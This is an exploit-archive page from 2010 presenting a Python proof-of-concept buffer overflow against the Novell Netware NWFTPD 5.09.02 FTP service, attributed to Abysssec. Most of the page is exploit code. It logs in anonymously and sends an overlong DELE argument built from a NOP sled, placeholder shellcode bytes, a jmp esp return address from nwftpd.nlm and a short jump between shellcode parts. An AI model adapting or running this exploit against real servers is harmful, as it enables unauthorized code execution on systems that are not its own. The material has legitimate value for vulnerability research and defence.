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Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Bof

Posted on 07 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Bof</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================
Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Bof
========================================================

  Title            :  Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow
  Version          :  NWFTPD.NLM 5.09.02 (Netware 6.5 ? SP8)
  Analysis         :  http://www.abysssec.com
  Vendor           :  http://www.Novell.com
  Impact           :  Critical
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
'''
from ftplib import FTP
import sys
 
try:
    netwareServerIp = '127.0.0.1'
    ftp = FTP(netwareServerIp)             
    ftp.login('anonymous','a@a')
    buffer = &quot;/&quot;
    buffer += &quot;x90&quot;*107                #nops
    buffer += &quot;xcc&quot;*413                #shellcode part2 = 413 byte
    buffer += &quot;xb9xa4xe0x91&quot;            #EIP - jmp esp from nwftpd.nlm module
    buffer += &quot;xcc&quot;*124                #shellcode part1 = 124 byte
    buffer += &quot;x08xebx90x90x90x90&quot;        #short jmp to shellcode part2
    ftp.voidcmd('DELE ' + buffer)
     
except Exception,err:
    print err


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